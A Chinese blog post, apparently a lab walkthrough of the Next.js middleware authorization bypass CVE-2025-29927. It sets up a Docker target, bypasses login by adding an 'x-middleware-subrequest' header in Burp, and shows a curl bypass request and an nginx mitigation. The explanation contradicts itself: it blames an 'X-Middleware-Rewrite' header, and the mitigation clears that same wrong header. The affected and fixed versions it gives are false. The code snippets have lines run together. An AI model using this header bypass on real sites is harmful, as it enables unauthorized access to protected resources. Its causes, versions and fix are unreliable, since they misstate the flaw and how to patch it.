当前位置: 首页 > news >正文

Next.js 中间件鉴权绕过漏洞 CVE-2025-29927

前言:CVE-2025-29927 是一个影响 Next.js 的严重漏洞,源于开发者信任了客户端请求中携带的 X-Middleware-Rewrite 头部字段。攻击者可以手动构造该头部,实现绕过中间件逻辑,访问本应受保护的资源或 API。

影响版本:Next.js < 14.1.4
成因概括:攻击者利用请求头控制中间件行为,重写跳转目标路径,进而绕过路由拦截。

任务一 启动环境

cd next.js/
cd CVE-2025-29927/
docker compose up -d
//3000就是靶机端口

 

 任务二 打开BurpSuite

代理->代理设置->响应拦截规则(勾选)

随便输入一个弱口令 返回的是/login 没有成功

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
//在bp加入一个头部,返回了200成功了

任务三 拓展 | 本地 

import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';export function middleware(request: NextRequest) {const token = request.cookies.get('token');if (!token) {return NextResponse.redirect(new URL('/login', request.url));}return NextResponse.next();
}//创建中间件 middleware.ts
curl -i http://localhost:3000/api/admin \-H "X-Middleware-Rewrite: /api/public" \-H "Cookie: token=malicious"
//构造绕过请求,模拟攻击
//原本未登录用户访问 /api/admin 会被跳转到 /login,构造该头部后,成功伪装访问 /api/public,绕过登录校验。

任务四 修复 

//防御措施
proxy_set_header X-Middleware-Rewrite "";
//中间件中加入请求来源验证机制,防止伪造

官方修复版本:14.1.4
GitHub Release Note 

http://www.lqws.cn/news/148069.html

相关文章:

  • NLP学习路线图(二十五):注意力机制
  • Kafka 安装教程(支持 Windows / Linux / macOS)
  • 跑通 TrackNet-Badminton-Tracking-tensorflow2 项目全记录
  • 数据集-目标检测系列- 猴子 数据集 monkey >> DataBall
  • Python----目标检测(yolov5-7.0安装及训练细胞)
  • Python[数据结构及算法 --- 栈]
  • 《Pytorch深度学习实践》ch8-多分类
  • Python基于蒙特卡罗方法实现投资组合风险管理的VaR与ES模型项目实战
  • Spring Boot 启动流程及配置类解析原理
  • ZooKeeper 安装教程(Windows + Linux 双平台)
  • React 样式方案与状态方案初探
  • 【JavaEE】Spring Boot项目创建
  • Neko虚拟浏览器远程协作方案:Docker+内网穿透技术部署实践
  • 【时时三省】(C语言基础)多维数组名作函数参数
  • Vim 设置搜索高亮底色
  • Flink 高可用集群部署指南
  • linux 故障处置通用流程-36计-14-27
  • Windows 10 IoT 系统深度定制指南:从环境搭建到工业部署
  • Web 架构相关文章目录(持续更新中)
  • Monorepo架构: Nx Cloud 扩展能力与缓存加速
  • 【深尚想】OPA855QDSGRQ1运算放大器IC德州仪器TI汽车级高速8GHz增益带宽的全面解析
  • AI编程助手入门指南:GitHub Copilot、Cursor与Claude的安装与基础使用
  • 【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)
  • 20250605使用boot-repair来恢复WIN10和ubuntu22.04.6双系统的启动
  • 案例分享--汽车制动卡钳DIC测量
  • Hive的TextFile格式优化方法
  • 【深尚想】TPS54618CQRTERQ1汽车级同步降压转换器电源芯片全面解析
  • 14.AI搭建preparationのBERT预训练模型进行文本分类
  • LeetCode 1356.根据数字二进制下1的数目排序
  • Linux(13)——Ext系列⽂件系统